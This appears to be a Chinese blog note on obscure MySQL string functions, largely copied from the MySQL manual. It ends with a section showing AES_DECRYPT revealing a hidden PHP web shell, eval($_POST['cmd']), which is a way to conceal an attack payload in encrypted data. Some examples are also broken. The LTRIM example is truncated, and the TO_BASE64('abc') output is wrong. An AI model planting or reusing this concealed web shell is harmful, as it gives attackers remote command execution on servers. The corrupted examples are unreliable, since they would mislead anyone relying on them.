本文记录一些MySQL生僻函数

0X01 字符串函数

STRCMP

STRCMP(expr1,expr2)

STRCMP() returns 0 if the strings are the same, -1 if the first argument is smaller than the second according to the current sort order, and 1 otherwise.

mysql> SELECT STRCMP('text', 'text2');
-> -1
mysql> SELECT STRCMP('text2', 'text');
-> 1
mysql> SELECT STRCMP('text', 'text');
-> 0
mysql> SET @s1 = _latin1 'x' COLLATE latin1_general_ci;
mysql> SET @s2 = _latin1 'X' COLLATE latin1_general_ci;
mysql> SET @s3 = _latin1 'x' COLLATE latin1_general_cs;
mysql> SET @s4 = _latin1 'X' COLLATE latin1_general_cs;
mysql> SELECT STRCMP(@s1, @s2), STRCMP(@s3, @s4);
+------------------+------------------+
| STRCMP(@s1, @s2) | STRCMP(@s3, @s4) |
+------------------+------------------+
|0                 |1                 |
+------------------+------------------+

REGEXP

expr REGEXP pat, expr RLIKE pat

Regular expression operations use the character set and collation of the string expression and pattern arguments when deciding the type of a character and performing the comparison. If the arguments have different character sets or collations, coercibility rules apply as described in Section 10.8.4, “Collation Coercibility in Expressions”.

If either argument is a binary string, the arguments are handled in case-sensitive fashion as binary strings.

mysql> SELECT 'Michael!' REGEXP '.*';
+------------------------+
| 'Michael!' REGEXP '.*' |
+------------------------+
|1                       |
+------------------------+
mysql> SELECT 'new*\n*line' REGEXP 'new\\*.\\*line';
+---------------------------------------+
| 'new*\n*line' REGEXP 'new\\*.\\*line' |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
mysql> SELECT 'a' REGEXP '^[a-d]';
+---------------------+
| 'a' REGEXP '^[a-d]' |
+---------------------+
|                   1 |
+---------------------+
mysql> SELECT 'fo\nfo' REGEXP '^fo$';
-> 0
mysql> SELECT 'fofo' REGEXP '^fo';
-> 1
mysql> SELECT 'fo\no' REGEXP '^fo\no$';
-> 1
mysql> SELECT 'fo\no' REGEXP '^fo$';
-> 0
mysql> SELECT 'fofo' REGEXP '^f.*$';
-> 1
mysql> SELECT 'fo\r\nfo' REGEXP '^f.*$';
-> 1
mysql> SELECT 'Ban' REGEXP '^Ba*n';
-> 1
mysql> SELECT 'Baaan' REGEXP '^Ba*n';
-> 1
mysql> SELECT 'Bn' REGEXP '^Ba*n';
-> 1

UPPER

UPPER(str)

Returns the string str with all characters changed to uppercase according to the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT UPPER('Hej');
-> 'HEJ'

LOWER

LOWER(str)

Returns the string str with all characters changed to lowercase according to the current character set mapping. The default is latin1 (cp1252 West European).

mysql> SELECT LOWER('QUADRATICALLY');
-> 'quadratically'

LPAD

LPAD(str,len,padstr)

Returns the string str, left-padded with the string padstr to a length of len characters. If str is longer than len, the return value is shortened to len characters.


mysql> SELECT LPAD('hi',4,'??');
-> '??hi'
mysql> SELECT LPAD('hi',1,'??');
-> 'h'

LTRIM

LTRIM(str)

Returns the string str with leading space characters removed.

mysql> SELECT LTRIM('
-> 'barbar'

MAKE_SET

MAKE_SET(bits,str1,str2,…)

Returns a set value (a string containing substrings separated by , characters) consisting of the strings that have the corresponding bit in bits set. str1 corresponds to bit 0, str2 to bit 1, and soon. NULL values in str1, str2, … are not appended to the result.

mysql> SELECT MAKE_SET(1,'a','b','c');
-> 'a'
mysql> SELECT MAKE_SET(1 | 4,'hello','nice','world');
-> 'hello,world'
mysql> SELECT MAKE_SET(1 | 4,'hello','nice',NULL,'world');
-> 'hello'
mysql> SELECT MAKE_SET(0,'a','b','c');
-> ''

OCTET_LENGTH

OCTET_LENGTH(str)

OCTET_LENGTH() is a synonym for LENGTH().

Returns the length of the string str, measured in bytes. A multibyte character counts as multiple bytes. This means that for a string containing five 2-byte characters, LENGTH() returns 10, whereas CHAR_LENGTH() returns 5.

mysql> SELECT LENGTH('text');
-> 4

LOCATE

LOCATE(substr,str), LOCATE(substr,str,pos)

The first syntax returns the position of the first occurrence of substring substr in string str. The second syntax returns the position of the first occurrence of substring substr in string str, starting at position pos. Returns 0 if substr is not in str. Returns NULL if substr or str is NULL.

mysql> SELECT LOCATE('bar', 'foobarbar');
-> 4
mysql> SELECT LOCATE('xbar', 'foobar');
-> 0
mysql> SELECT LOCATE('bar', 'foobarbar', 5);
-> 7

MID SUBSTRING

MID(str,pos,len)

MID(str,pos,len) is a synonym for SUBSTRING(str,pos,len).

SUBSTRING

  • SUBSTRING(str,pos), SUBSTRING(str FROM pos)
  • SUBSTRING(str,pos,len),
  • SUBSTRING(str FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos. The forms with a len argument return a substring len characters long from string str, starting at position pos. The forms that use FROM are standard SQL syntax.

It is also possible to use a negative value for pos. In this case, the beginning of the substring is pos characters from the end of the string, rather than the beginning. A negative value may be used for pos in any of the forms of this function.

For all forms of SUBSTRING(), the position of the first character in the string from which the substring is to be extracted is reckoned as 1.

mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
-> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
-> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
-> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
-> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
-> 'ki'

SUBSTRING_INDEX

SUBSTRING_INDEX(str,delim,count)

Returns the substring from string str before count occurrences of the delimiter delim. If count is positive, everything to the left of the final delimiter (counting from the left) is returned. If count is negative, everything to the right of the final delimiter (counting from the right) is returned. SUBSTRING_INDEX() performs a case-sensitive match when searching for delim.

mysql> SELECT SUBSTRING_INDEX('www.mysql.com', '.', 2);
-> 'www.mysql'
mysql> SELECT SUBSTRING_INDEX('www.mysql.com', '.', -2);
-> 'mysql.com'

TO_BASE64

TO_BASE64(str)

Converts the string argument to base-64 encoded form and returns the result as a character string with the connection character set and collation. If the argument is not a string, it is converted to a string before conversion takes place. The result is NULL if the argument is NULL. Base-64 encoded strings can be decoded using the FROM_BASE64() function.

mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));
-> 'JWJj', 'abc'

FROM_BASE64

Takes a string encoded with the base-64 encoded rules used by TO_BASE64() and returns the decoded result as a binary string. The result is NULL if the argument is NULL or not a valid base-64 string. See the description of TO_BASE64() for details about the encoding and decoding rules.

mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));
-> 'JWJj', 'abc'

0x02 加密

MariaDB [(none)]> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS");
+-----------------------------------------------------------------------------------------------+
| AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS") |
+-----------------------------------------------------------------------------------------------+
| <?php eval($_POST["cmd"]);?>                                                                  |
+-----------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)